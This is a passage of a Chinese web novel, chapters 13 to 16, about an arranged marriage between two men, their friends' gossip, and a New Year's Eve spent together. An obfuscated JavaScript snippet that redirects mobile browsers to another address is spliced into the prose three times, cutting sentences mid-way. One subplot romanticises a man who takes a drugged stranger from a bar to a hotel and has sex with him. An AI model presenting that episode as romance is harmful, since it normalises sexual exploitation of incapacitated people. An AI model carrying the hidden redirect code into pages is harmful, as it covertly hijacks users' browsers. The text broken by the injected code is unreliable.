老爷子最后道,“明天上午去接小淞,我不是在跟你商量,是命令。” 13. 第13章 薄淞送完父母,回去半路接到桓柏蘅电话。 “明天上午十点,我去接你。” 他愣了会,反应过来,说,“你不是有事吗?” 电话那端沉默,薄淞意识到自己说错了话,“我的意思是,你不方便不用过来,你爷爷那边,就说我们一块去的,我会和店里的人打好招呼。” 他离开前气氛尴尬,桓柏蘅变主意多半是老爷子胁迫的,桓柏蘅不愿意,他并不想勉强,果然电话里头传来声音。 “你自己可以?”桓柏蘅语气缓了些。 “嗯。”薄淞表示肯定,又补了句,“你忙你的就好,我理解的。” 桓柏蘅确实不乐意去,哪怕车上老爷子先是直接命令他必须陪同后,又苦口婆心半天说什么试婚服这事都是要两个人成双成对去的,表示对这段婚姻的重视,甚至于说什么一个人去会被笑话,他觉得小题大做。 他和薄淞又不是因为相爱才结婚,他们不需要这种仪式,而且谁敢笑话他?可老爷子软硬兼施归根结底还是逼迫的态度让他很不爽,打来电话的语气好不到哪去,他想薄淞听得出来。 可对方心平气和表示理解,甚至于愿意配合他隐瞒...这让桓柏蘅忽然觉得,其实去一趟也无所谓,总归定的时间是下午,他大不了起早一点,也不是不可以。 “你放心,就算你爷爷不小心知道了,我也会解释的。是我的原因,跟你没关系,我拒绝的你。”薄淞在电话里持续的沉默中担心起是不是桓柏蘅还有所顾虑,再次开口,得到对方听不出情绪的回答。 “你帮我揽责任?” “互帮互助罢了。”薄淞不愿桓柏蘅多想,给出合理理由,“长辈总是会希望我们之间相处融洽,可这种事实在繁琐,往后估计也不少,所以这次我帮你,下次我爸妈那边,可能也得麻烦你。” 他们之间无需培养感情,就不该被捆绑去做不愿意的事,这是心照不宣的事。 “当然。”桓柏蘅答应的很爽快,却并不显得多愉悦,他没有多余废话,“挂了。” “好。” 薄淞话音刚落,挂断的“嘟”声已然响起在耳边,手机贴着耳边一阵,他才取下,重新驶上了马路。 - 桓柏蘅回国后来云水之涧两次,一次是他自己的接风宴,一次是许景渊的,同一批人。 他到的时候,人已经齐整了。 十多号人加上叫来的“服务”,看过去乌泱泱一片,密闭的包间里纵使装了最先进的循环系统,也抵不过桌上东倒西歪甚至于喝到尽兴洒在地面的洋酒。 酒味浓重。 “青松”是“云水之涧”顶级包间,只留有三间,两间对外,另一间也就是当下他们聚会的,是许景渊专属,当然权限开放给了郑云松和桓柏蘅。 这次喊来的也是圈子里关系相较普通更好些的朋友,熟人局,热络。 “桓少爷来的早啊,酒也才只喝过半轮。” 灯光调的昏暗,真皮长沙发正中间男人语带戏谑率先开了口,引来一阵笑声,桓柏蘅对这些笑声充耳不闻,只面无表情缓缓踱步过去,落座的人纷纷侧开身子,直至桓柏蘅走到正中间。 男人倚着沙发靠背,仰起脑袋,灯光照清那张桓柏蘅半年多没见依旧很欠的脸。 许景渊该是从哪个正式场合直接过来的,衬衫扣子规规整整扣到最上边,头发打理过,西裤,人模人样的,拎给谁看都像个正经的精英...精英在被目光审视好半天后,不满的勾起脚尖踢了下居高临下望着他的人。 “还看呢?有这么好看吗?”许景渊故作暧昧,盈着笑意道,“都是要结婚的...哎” 搭着的腿拍下去,好不容易凹的优雅坐姿全无,桓柏蘅冷漠出声,“让让。” 还算礼貌。 许景渊笑了声,往边上挪了些,给他让位,眼神示意旁边的人给他取个新杯子,倒了满满一杯洋酒,怼至桓柏蘅跟前,“少爷,迟到了。” 罚酒的意思。罚酒,你又迟到了。” 桓柏蘅二话不说直接喝了,算是给今天的主角面子,只一张脸仍旧面无表情,哪像是庆祝他回来。 许景渊多瞧了两眼,忍不住乐,抬手勾住人肩膀,晃了两下,“行了,以后我不说还不成,就开个玩笑,别那么小气呗。” 他真是诚心给两个月前调侃桓柏蘅的事道歉,可桓柏蘅转过脸,脸上明摆着的意思就是对“小气”两个词的不满,当然不明显的也有细微的惊讶困惑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345442|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而接下来许景渊的话让他确定许景渊可能出门脑子被门夹了。 “我小气,我道歉,我自罚一杯。” 许景渊虔诚的就差发誓,动作利索给自己倒了满满一杯,全无刚才端出来的高冷模样,甚至于十分的...愉悦? “看出来了吧?”身后幽幽地嗓音响起,郑云松厕所回来,沙发后头鬼似的站着,眉头扭在一起,匪夷所思道,“他现在脾气好的要命。” 换句话意思是,嘴特别甜? 以前是高低得跟桓柏蘅呛两句,哪有现在这么会哄人啊? 郑云松心里嘀咕着,忽然被刺激到某根神经,两手猛地一拍,一溜烟似的从沙发两端跑了进来,他试图挤进两人中间但是失败,只好委屈在桓柏蘅边上,凑过脑袋。 “景渊,你该不是也谈了吧?” 许景渊闻言,挑眉,用一副“我有你没有”的语气反问,“也?” 桓柏蘅:“...” “哦哦哦,桓柏蘅不算,他是奉命结婚,也没感情。”郑云松简单概括,丝毫没注意到桓柏蘅沉下来的脸色。 桓柏蘅想到昨晚电话里薄淞如出一辙的话,心情雨转暴雨。 郑云松还在八卦,“谁啊谁啊?什么人面子这么大,还需要你哄啊?” 许景渊感情史丰富,隔三差五换一个,大都是不上心的情儿,哪有人有本事让许大少爷练得一手哄人本领,连本性都变了? “这次的不一样。”许景渊脸上的春风得意丝毫掩藏不住,他也不想藏,笑出声,“没谈,还在追。” 他就没碰过这么狠的壁,对方很不待见他,可那晚销魂的滋味以及那张单单想起都悸动不已的漂亮脸蛋,含着水汽红潮遍布咬在他肩头的那一口.. 许景渊隔着衣服按在仍旧隐隐作痛的伤口处,想起第二天那人骂他是狗,他哪是狗,咬人的也不是他啊? 许景渊很是回味,直至郑云松莫名一道摸他肩膀,敛神把人拍开,也多了点郁闷。 难追啊,太难了。 可对方骂他两句,带劲的眼神瞪他也爽的不行,他真想把人立刻搞到手,却也怕惹急了更难弄,还是留给点时间缓冲,许景渊已经想过,等年后再去找,起码让人过个好年? 14. 第14章 郑云松给许景渊办的接风宴,喝喝闹闹人倒下大片。 时间不过七点。 桓柏蘅也无聊透了,要走前许景渊问,“你们那请帖还不发啊?” 婚期日子倒数,桓柏蘅大早醒来就被突然地拉进群,发来一堆注意事项婚礼流程,他一眼没看,繁琐就对了。 加上老爷子上午又打电话来,问他试婚服的事,结个婚麻烦要命,现在又问请帖? “不知道。”桓柏蘅不耐烦,“你等着就是了。” 这番回答让许景渊忍了又忍,没忍住低声吐槽,“...哪个倒霉鬼和你结婚。” 桓柏蘅反唇相讥,“所以和你结婚是件荣幸的事?” 眼看剑拔弩张,郑云松也就喝杯酒的功夫,心里刚咯噔,许景渊举双手投降了,“我闭嘴。” “...” 郑云松眼底流露出更加疯狂的八卦,桓柏蘅则是复杂的上下扫视,唯独许景渊悠从开始到现在,时不时地唇色荡漾,悠悠然抿了口酒。 桓柏蘅懒得再看,“走了。” “我们也走,差不多了。”郑云松见歪倒的一片,以及角落里对着个肤白细嫩的服务生调情今晚注定会发生点什么的“朋友”,也全然没了兴致。 许景渊没意见,喊来负责经理,“醉了的让司机送回去,留下来玩的...领他们去房间。” 都是常来这的,自然知道包间里许景渊是不让乱搞的,嫌脏,就是干柴烈火再一喝多,估计也不带脑子,还是嘱咐一声,免得膈应。 - 回去路上老爷子打来电话,连着两个,桓柏蘅直接挂了。 车子下了高架,驶进别墅群附近的地段,四周安静,树木笔直立在两侧,黑沉夜幕悬在上空。 桓柏蘅开窗,冬日夜里寒风凛冽扑面,叫嚣的风声一时间充斥原先静谧温暖的车内空间。 他喝了酒,吹得脸通红。 其实没喝多,也没醉。 桓柏蘅望向道路两侧延伸的树丛暗处,树影模糊且飞快倒退,闭眼,任由寒风吹拂。 车辆停下时,桓柏蘅才睁开眼,车子被拦在杆外。 安保正探头查看。 桓柏蘅示意司机摇下车窗。 “我的车。” 安保连忙放行。 这是桓柏蘅新提的一辆车,原先没录入过的牌子,他示意安保录入,等车子驶过小区口,桓柏蘅又想,其实也没必要再录进去,他马上会搬走,哪怕这是他住的最多的一处房产。 可婚后他会离开这。 桓柏蘅目光扫过熟悉的小区环境,心底平静。 没有多留恋,不论在哪,对于他而言都是一样的。 - 桓柏蘅以为他爷爷的电话是兴师问罪,毕竟瞒过老爷子不太容易。 薄淞却真瞒住了。 老爷子打电话来语气和蔼,先是隐晦的赞扬他昨天表现好,再就是往后过日子也得互相陪伴迁就之类的,讲了一堆延伸的大道理。 总而言之听得很累。 他问老爷子,“您之前不是不喜欢他吗?” “别胡说,爷爷不喜欢他干嘛?你选的爷爷都喜欢。” 老爷子承认一开始对薄淞了解不多,有性别上的偏见,如果可以的话,他当然是希望桓柏蘅找个女孩,乖巧体贴些的,也能给他添个孙子,享享天伦之乐。 可桓柏蘅不要小孩,以后的日子也是桓柏蘅自己过,他不能为了自己享受几年或是运气好些再多活些日子,就让桓柏蘅弄个孩子来让他高兴。 他终归是不能陪着孩子长大,再者桓柏蘅不愿意,他不愿强求。 那抛去性别,薄淞就很合适了。 沉稳,体贴,包容,而且他看得出来,薄淞不像是全然无意,只是这话他跟桓柏蘅说不得,总而言之,他能放心把桓柏蘅交给薄淞,可也不希望桓柏蘅太过冷情的对待对方。 “结婚了以后事情要商量着来,别由着自己的性子,还有啊,小淞温和,脾气好,但是你也不要欺负人家,他比你年长几岁,还是应该叫哥..” “爷爷。”桓柏蘅冷静打断他,“您这也要管?” “不是管,爷爷就是和你..” 桓柏蘅按紧眉心,怎么结个婚爷爷更能唠叨呢? “这是情趣。”于是他说。 老爷子果然沉默。 “他是我哥还是我合法睡在同一张床上的枕边人?”桓柏蘅按捺住才没讲出更露骨直接的,选择这种方式让老爷子闭嘴,“爷爷,我们夫妻之间的事您就别掺和了吧?” 老爷子一早上慈爱的形象崩塌,电话里传来老人明显羞恼的浑厚嗓音。 桓柏蘅早就拿着电话远离耳朵。 老爷子凶了几句,挂断电话,总算是大早上煎熬结束。 桓柏蘅拿着手机没急着丢开,翻身侧躺着。 他觉得爷爷的担忧很没道理,表面上看好似是薄淞处处迁就他,实际...也就试婚服一次吧?而且只是因为对方不在乎,他们的婚姻本就是凑合过,形式化的对于他们并不适用。 至于让他不要欺负薄淞...桓柏蘅闭眼,思考。 也没欺负。 他没那么闲。 - 婚礼的请柬在婚期前七天发送给宾客。 郑云松和许景渊是桓柏蘅亲自送到手里的,餐桌上郑云松翻来覆去地瞧,眼珠子都快钻进请柬里头,胸有成竹放下。 “这请柬不是一般的设计师画的吧?” “薄淞画的。” 许景渊这才拿起原先草草扫了眼的请柬,这回仔细看,仍旧是瞧不出什么设计来,“挺好。他说。 其实在场三人确实没一个能看出到底巧妙在哪,就是画风跟正常的请柬不一样,桓柏蘅知道是因为薄淞来征求过他的意见。 他没意见,所以全由薄淞发挥。 “啧,学长是真用心了。”郑云淞撞撞桓柏蘅胳膊,挤眉弄眼,“您是不是哪得拿出点诚意来。” “算了吧,他连试婚服都不乐意陪。” 许景渊嘴快,话出口空气都冷下几分,轻咳着刚想挽回,这回“和稀泥”的也不在线,郑云松咽下糕点,跟被点了星火的燃线似的。 “是哦,你这样不行啊,你看看学长,就算是没感情的婚姻,也得稍微用点心嘛。” “...” 桓柏蘅不理解郑云松时时刻刻把“没感情”三个字挂在嘴边的癖好,而且既然没感情,为什么还要用心? 桓柏蘅冷声道,“你行,你去结。” “学长也未必看的上我啊。”郑云松对薄淞的评价极高,毕竟都觉得自己配不上了,接着道,“试婚服这事你确实过分了,这都是一对一对新人去的,哪有新郎不去的,你早说我们就改天约啊。” 两人事后才知道,一度担心这事捅出去,他两都被老爷子拎回去骂。 “当然,你不去肯定不是因为我们的原因。” 郑云松前一秒说完后一秒想了想,觉得还是无辜,道出事实,“主要肯定还是你自己不乐意去。” 就不可能为了跟他们吃饭改变计划,桓柏蘅哪那么好? “嗯。”许景渊间隙插了句。 桓柏蘅脸更冷了,放下刀叉,盯着二人。 “吃饭也堵不住你们的嘴?”他说,“不吃就滚。” 餐桌陷进诡异的沉默,将近五分钟,郑云松表情扭曲的更厉害,不说就能憋死的样子,桓柏蘅也没善心大发。 许景渊于心不忍,在他后背拍了一掌,郑云松脱口而出。 “就真的很不厚道啊,你当初想让他跟你结婚的时候不是这副嘴脸啊?” 当初桓柏蘅为了省心“追”人的时候,那还是体贴绅士的大尾巴狼啊,啧啧啧,这婚后得什么样啊? 桓柏蘅怀疑起身边朋友的眼神是不是有点问题,才会让大家觉得他是强势一方?可能是有点,但是不至于。 提出“互帮互助”,减少“无效时间”的是薄淞不是他,他是拒绝了爷爷,因为开始确实不想去,可不是不能去? 他后来也想过陪就陪了...桓柏蘅心底不悦又一次冒上。 凭什么那会他都愿意陪薄淞去了,薄淞却觉得是浪费时间?薄淞怎么敢这么想? “一个人去是真的很尴尬啊,难怪学长要找朋友陪。” 郑云松持续叨叨,桓柏蘅听到这,眉头皱了些。 “朋友?” 薄淞拒绝他,然后找其他人一起?桓柏蘅猜到是谁,面色彻底冷了下去,“你怎么会知道?” “朋友圈啊,也不知道什么时候加的微信,之前学校见过的,叫什么来着?” 郑云松点开微信翻找,半天回想不起来名字,因为确实太久远了,对方这么多年头一回发动态,以至于他都不知道加了好友。 “名字忘了,不过那张脸打死我都忘不了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345443|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟狐狸精似的。” 许景渊原本兴致缺缺地吃饭,闻言凑过去,“哪呢?我看看。” 他倒是碰上只狐狸精,迷得他找不着北,这么多天魂牵梦萦的。 “...别了吧,你拎清点啊,这可是学长最要好的朋友。”郑云松心一紧,怕许景渊色心大起。 许景渊低嗤一声,不屑道,“我是那种人吗?就算是天仙,为了柏蘅我也是坚决...” 后续话语淹没在郑云松点开的照片,背景是婚纱店,全身镜映出身着纯白色礼服的男人,身形高挑,双腿笔直,胸口金丝绣着锦绣合欢花,矜贵优雅。薄淞微微笑着,无奈望向身侧搭着他肩对着镜子比耶的另一人。 林序淮只微微眯起的桃花眼,便足够勾人夺魄,起码勾的许景渊改了口。 “坚决得尝一尝味道的。” 很美味,只是太狼吞虎咽,许景渊遗憾不已,日思夜想,最近连“动手”的频率都高了,全都是某个撩人自知偏偏薄情的小狐狸精。 桓柏蘅看来一眼,没说话,一边郑云松先叫了,叫声惊恐。 “你开玩笑的吧?” 可别,这是真不能碰啊。 郑云松魂都要飞了,桓柏蘅却像是并无多大抵触,丝毫不觉要是许景渊真对林序淮下手,估计得给他造成婚姻危机,若有所思模样望过去。 许景渊浑然不觉,一时间实在挪不开视线在面前照片上,直到郑云松一把抓回手机,人才回魂,回味道,“他笑起来真好看。” 没对他笑过,就算是因为药劲染着情欲湿了眸子,也没有丁点笑意。 郑云松后悔的想吞手机,不等他吞,身侧桓柏蘅声音传来。 “他就是你说的那个人?” 郑云松更感茫然,然后顿悟,瞪大眼。 许景渊口中在追没追到,重度上瘾甚至于连丢了刻薄开始哄人的那个神秘暗恋对象? “不是,你再看看是他吗?这不好吧,你认真的还玩的啊?” 郑云松昏天黑地。 许景渊止不住笑意,又是一副荡漾神情,他随手调出手机里视频,昏暗的酒吧角落,闭眼趴着的人脸颊红润,长睫颤动,伴随着震耳音乐,显得安静而乖顺。 “缘分就是很奇妙,撞上门的小狐狸。” 许景渊丝毫不嫌称呼腻歪,唇角弧度更大,这段视频他翻来覆去百次,甚至于熟悉到安静趴着的人呼吸频率...只是更后面的事,他就不敢拍了。 因为有点太疯狂。 那天他只是照常去酒吧坐坐,公司的事结束,他来放松的,去吧台打算点两杯酒,遇见林序淮,只一眼,比迷乱的光影都更要绚烂几分,漂亮到让他一眼心悸的模样。 只是美人好像不高兴,生气地接过酒,仰头饮尽。 他才注意到,原来美人身边还有人,一个双眼发光的男人,盯着被接过去的那杯酒,露出令他作呕的神情来。 他让男人滚,美人挂断电话的动作很用力,然后偏头...冷冷望向他。 “没有人告诉过你吗?”他大概那会也露出和男人如出一辙不那么好看的表情来,俯身凑至美人耳侧,闻见那白皙皮肤底下像是血管透出的令人迷醉的馥郁香味,“酒吧里递来的酒...最好不要乱喝。” 许景渊不是正人君子,露水情缘也不少,可他往常并不屑做下流勾当,哪怕这催情的药不是他下的?可趁人之危也足够不齿,唯独这回...存了私心。 他把人带到酒店,不闻不问,在美人难以承认药效红着眼抓住他手臂时,绅士问道,“需要我送你去医院吗?” 他迟到的“善意”,得到狠狠咬在肩侧的一口,压抑的嗓音破碎,“你他妈.....” 其实愿意跟他回来,也是变相的答案。 于是许景渊没再问了,他低头,吻下去,被躲开。 亲吻是不必要的。 受了情伤的人是需要疗伤,只是用这种方式却太可笑,许景渊想,又庆幸自己有几分姿色,不然也不定有这个荣幸。 不过嘛... 他捞过汗涔涔湿漉漉的怀中的人,漂亮的眸子睁开,映出他的影子。 许景渊摩挲那眼尾,在人试图再次躲开时,俯身压下。 得到黏腻的呻吟。 他扣紧人下巴,吻上了那处柔软。 发泄是好的,可有些人招惹了就是招惹了,甩不掉的,也不会那么听话,比如...他就是。 15. 第 15 章 公司年会结束,离跨年还有一个小时。 薄淞环视着散场后只剩零星十多人的酒店宴客厅,缓缓吐出口气,这段时间的疲累瞬间总算熬到尽头。 “薄总,您还好吧?” 公司高层前来关心,薄淞笑着点了点头,“买的明天的车票吗?” “是啊,能早回去过年就早点回去,可以多待一阵。” 荣市是一线城市,外来工作的人多,每年年底都能掀起一阵返乡潮,外面辛苦一年都盼着回家,因此薄淞对假期的慷慨员工们心里都是感激的。 “好。提前祝你新年快乐。” “也祝您新年快乐。” 高层离开后,薄淞独自坐了会,等诺大的宴客厅只剩下清洁人员打扫时,他才起身回去。 跨年夜到处都热闹,洋溢着欢笑,大楼俯瞰是密密麻麻的人流,刚才年会时他有听见公司里的年轻员工们聊着结束后跨年的事,和男女朋友一块。 新年的仪式感,要和相爱的人一起迎接。 薄淞以往不会在这样喜庆热闹的节日里想到桓柏蘅,自然也不会因此而落寞,他发觉很多时候保持距离感才不会患得患失,给他得到的假象实则仍旧遥不可及才最为煎熬。 他和桓柏蘅自上次两家人吃过饭后,便再没见过面,唯独一次的联系,是他询问桓柏蘅请柬的事,寥寥几句话,不甚在意。 至今已经快两周。 圣诞节是年轻人爱过的节日,他无法否认这种正式的节日是期待过的,作为要结婚的哪怕没有感情的两个人,形式上或许他也可以得到来自结婚对象的一点表示。 哪怕桓柏蘅不愿意分时间陪他,那也可以是一句祝福,一句节日快乐。 他从平安夜等到圣诞最后一秒,什么也没有,所以跨年...他已经没什么期待了。 电梯停下,显示到负一层,薄淞收拾好短暂的一点点难过,他该为自己的贪心付出情绪代价。 C区,半小时前司机发来的消息。 他喝酒,不能开车。 车库很大,薄淞走了一阵,总算是在角落的停车位里找到他的车,这处角落顶灯照不到,难得昏暗。 车内也暗,薄淞上车,“走吧。” 他是有些疲惫的。 司机启动车子,缓缓倒出位置。 薄淞系安全带的动作顿住,眉头蹙起,察觉到些许不对劲,可酒店安保绝对没问题,司机也在五分钟前发来消息询问他多久下来。 不至于短短时间出现变故,可司机太过于沉默。 他心里疑惑着,直至倒出停车位,灯光映出驾驶位上的人时,眸中的疑惑转变为了茫然。 心跳一时间是静止的,大脑空白。 薄淞晃了晃脑袋,再次往后视镜望去,驾驶位上的人打着方向盘,神色淡淡。 不是喝醉,也没出现幻觉? 可是为什么桓柏蘅会出现在这。 薄淞试图张口询问,几次也没发出声音,他注视着后视镜里的人影,桓柏蘅不可能没察觉,直至车子驶出车库,开上过节热闹的大街,人声透过隔音的窗户依稀落进车内,他才终于缓过神来。 “...去哪?” 他迷茫着问,桓柏蘅开的方向和他住的小区是背向的。 桓柏蘅目视前方,声音平直冷淡的响起,“跨年。” 又是一个让薄淞不知所措的回答,桓柏蘅跨年,应该是和朋友或是..其他重要的人一起,总归不该是和他,那为什么会突然出现,给他一个惊喜? 薄淞否认掉这个答案,然后明白过来。 “你不用非和我一起跨年的。”他平静而大方的说,“你爷爷那边,我可以向上次一样回答。” 桓柏蘅会过来,应该也是老爷子强硬要求的,不然怎么会愿意陪他一起,所以桓柏蘅很不高兴,薄淞往后视镜看去一眼,从头到尾,都没有笑过,不情愿,不开心。 这样好的日子,他希望对方能开心。 薄淞忽略掉因为哪怕时不情愿,可对方出现他反应过来止不住的雀跃心情,其实见一面他现在也满足,不是必须要桓柏蘅陪他。 可他的话石沉大海,桓柏蘅没有回应。 车子很快被堵在人流密集的街道上,一停一动,桓柏蘅指尖搭在方向盘上,一言不发。 车厢陷进诡异的安静。 薄淞在又一次车子急停时,脑袋撞上了椅背,磕到眉骨,等疼痛传到到大脑,他才慢半拍吸了口气。 酒精作用下,身体的反应都慢半拍。 “上次不是也瞒得挺好的。”他才接着刚才的话说,“长辈心里怎么想的我们都清楚,他们也是为我们好,但我会配合你的,你不用在意。现在还有一个小时,你去跟朋友一块也...” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345444|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温声软语被一道不耐冰冷的声音打断。 桓柏蘅问他,“你急着和别人跨年?” 薄淞一愣,“什么?” “是你想和朋友过,还是我想和朋友过?” 薄淞觉得大概是酒精真的耽误思考,以至于他半天反应不过来这句话里意思,可桓柏蘅不论是脸色还是语气都十分不好。 “我没想跨年。” 他当然不是和别人约,原计划是想回去休息的,公司的事告一段落,他觉得轻松很多。 车子终于行驶出拥挤路段,桓柏蘅脸色稍霁,开的也稳了些,仍旧是往原来的方向开,薄淞不知道是去哪,可知道对方应该还是要跟他一起跨年,没来由的紧张。 等车子又下了一个高架,他低头嗅了嗅身上,闻到不算浓可也不算淡的酒味,怕不好闻,担心桓柏蘅会不舒服,哪怕知道对方应该是习惯这股味道。 桓柏蘅酒量好,大学时就不少去酒吧。 “我开个窗行吗?”薄淞说。 桓柏蘅总算是看过去,自薄淞上车后两人的第一个对视。 “嗯。” 语气里还像是很不高兴。 薄淞是第一次在桓柏蘅和他的相处中捕捉到如此强烈的不悦情绪,往常桓柏蘅心情不好也是绷着脸话少,可和现在是不一样的。 可是刚才提议的“分开跨年”已经被拒绝,而且他提这事时对方情绪更加不好,薄淞察觉得到,不会再提。 “喝多了?”桓柏蘅的声音再次响起,从叫嚣的风声中闯入薄淞耳边,似乎带着一点点的...关心? “没有。”薄淞担心起自己是不是太狼狈,或是模样很像大醉,才让桓柏蘅这么觉得,他为自己解释,“不多,也没醉,我喝酒上脸。” “喝酒上脸另一个意思是酒精过敏。” 薄淞是过敏,脸很红,敞开的领口处皮肤也很红,偏偏又不是全然的红,不均匀晕染着细腻白皙的脖颈,让他想到山庄新雪覆着的落梅艳红的花瓣,一淡一浓,极致的美。 薄淞心跳急剧,在桓柏蘅盯视他的几秒间,又缓缓平复呼吸。 “这种场合,避免不了喝几杯。” 桓柏蘅不置可否,转回视线在前方车道。 车厢再次静下来。 薄淞重新望向窗外,寒风吹得他面颊冰冷,额前黑发飘动,眸中细碎光亮中掩着笑意。 16. 第 16 章 薄淞是在熟悉的大楼建筑出现在视野中时,才得知此行目的地。 桓柏蘅开到了环悦。 他记起附近是有个近年热门的跨年点,环着荣市最古老时钟的商业街。 在新年零点时钟声会敲响,寓意着新的一年到来。 因此附近人很多,堵死了路,唯独酒店前提早清出区域,供入住的客人和车辆通行,桓柏蘅径直驶入了地下入口。 环悦是桓柏蘅的地盘,停车位也留有私人,熟门熟路停好车,解开安全带,下车。 薄淞深呼吸,一道下去。 电梯直通顶层,桓柏蘅的私人套房。 薄淞盯着上行的数字。 他不觉得桓柏蘅会愿意在挤不过人的人堆里跨年,而酒店顶层是最好的观光台,能将整个荣市收进眼底,也自然能看见跨年点。 新年的钟声也会飘向上空。 很合适的地方。 桓柏蘅踏出电梯,薄淞脚步微微顿了下,指尖蜷紧,跟上去。 他能理解桓柏蘅带他来这的原因,可跨年夜来酒店,哪怕知道不会发生什么,还是会紧张。 因为是私人套房,装修全按照桓柏蘅喜好来,里面放了不少私人物品,入户的玄关处放了两个精美盒子,薄淞换好拖鞋后,桓柏蘅递过去给他。 一个盒子装着贴身的睡衣,另一个盒子装着望远镜。 薄淞一愣。 “房间多,你可以随意选一间。” 桓柏蘅语气平静,因此薄淞无法知道留宿在这-桓柏蘅的私人领地含金量有多大,可桓柏蘅不是个好亲近的人,应当不是谁都有资格。 他没想过自己能留下。 薄淞藏起自己的小雀跃和不平静,说“好。” 这套顶层的总套是桓柏蘅当初为自己留的,视野布局极佳,薄淞没瞎转,还是住在离桓柏蘅不近不远位置。 可目的是一起跨年,肯定就不是各自呆房里,薄淞怕身上酒气重,桓柏蘅没喝酒或许不乐意闻,提出想快速洗个澡。 桓柏蘅表示随意。 薄淞扣好时间,在新年前二十分钟从浴室出来,他比谁都期待和桓柏蘅一起过年。 是第一次,也不知道会不会是最后一次。 他不确定桓柏蘅愿不愿意每年都陪他一起过,所以要珍惜每一次,和桓柏蘅有关的方面,他一直是悲观主义者。 桓柏蘅立在落地酒柜前,挑了几只红酒,见他过来,上下扫视。 薄淞抿唇,“怎么了?” 对方的目光很直接,没掩饰,让他怀疑是不是哪不得体,又忍不住看向对方手里的酒。 他不知道桓柏蘅打算喝酒。 酒精不是什么好东西,而今天的场合也很特殊。 是在私密的环境里,不是餐厅酒吧。 “没事。”桓柏蘅随手取了两支酒杯,下巴微抬,示意薄淞往左侧走,“就是本来打算去露台的,现在算了吧。” 薄淞步子僵住。 他低头看着敞开大片领口的皮肤,闭眼,眼皮烧出点红,意识到他真的有些醉了,所以只顾着穿,丝毫没有察觉到这身衣服似乎有些不大得体,还是和桓柏蘅一起。 睡衣是桓柏蘅让人准备的,款式没留心,因此不知道这么性感,v字的领口,收紧的腰线,和只到小腿弯的长度,被薄淞一穿,带了点不明的意味。 面前人发红的皮肤像是在红酒中泡过,桓柏蘅觉得瓶身几分发烫,想象把人丢红酒堆里,赤裸含眸的模样。 这是他第二次肖想薄淞的身体,第一次是温泉池里。 他没想过,穿上衣服温柔安静的男人,若隐若现有这么大的反差和诱惑,可念头一转,也理所当然,或许就是这种强烈的对比最为刺激。 平日里浪荡放纵的人脱下衣服再淫靡也情理之中,而斯文禁欲的人哪怕一点点荒唐,也会令人食髓知味。 “我可以披一件外套,去露台也可以。” 薄淞克制住嗓音里的慌乱,为自己做出这样像是勾引的举动而解释。 桓柏蘅摇头,说“不用。” 明净的落地玻璃窗下是万家灯火,足以容纳六七人的真皮沙发柔软,薄淞坐上去,往下陷,被包裹住的感觉。 桓柏蘅放下酒在小茶几上,确定了下时间,说拿个东西。 薄淞等人离开后,拢了拢领口。 桓柏蘅其实并不乐意看他,他没什么好看的,也不觉得穿成这样就能勾引到对方,可行为举动就有这方面的意思,让他觉得难堪。 在喜欢的人面前,留下丝毫的坏印象都令他难受。 薄淞沮丧着,头脑也阵阵昏沉,刚才浴室他没开通风,闷沉的热气下,年会上酒精的后劲上来,他其实更醉了。 身后脚步靠近,然后肩上一沉。 “冷就披着。” “...” 薄淞怔怔望着肩上对方取来的外套,不厚不薄。 桓柏蘅开了红酒。 “还喝吗?” 薄淞眼睫颤着,只盯着面前酒液,脑袋更混沌,他说,“可以。” 酒液顺着喉咙滑下,唇舌间泛起涩涩的苦味。 桓柏蘅拿起望远镜看了眼,他们在的位置朝向跨年点,镜头里甚至能清晰看见围堵的人群正中复古时钟的摆动。 薄淞便也拿起属于自己的那份。 这样的跨年很新奇,也有点... “蠢死了。” 桓柏蘅说出了薄淞的心声,虽然想出这个主意的是桓柏蘅自己,他把望远镜丢在一边,起身开了点窗,风声和人声自下方隐隐传上来,总算没刚才那么安静, 他自顾自又倒了一杯。 薄淞也没再看了。 两人就这么坐着,中间隔着距离,他们没话题,便也不说话,只偶尔碰一碰杯。 等薄淞短时间第三次往杯中倾倒酒液时,才后知后觉和桓柏蘅的每一次碰杯他似乎都紧张地喝下去全部。 时间分秒流逝,薄淞大脑缓渐混沌,望向窗外,浓沉的夜色黑不见底,只有隐约的光亮,是万家灯火,存在于他朦胧的视野里。 幸运的话,万家灯火以后也会有他和桓柏蘅的一盏。 薄淞想着,忽然没来由地高兴,他第一次主动抬手,玻璃杯撞出清脆声响,一并撞入眼底的是桓柏蘅深邃的眼睛。 “...” 桓柏蘅看了眼他。 薄淞仰头干了酒。 这么特殊的节日,和喜欢的人在一起,很幸福。 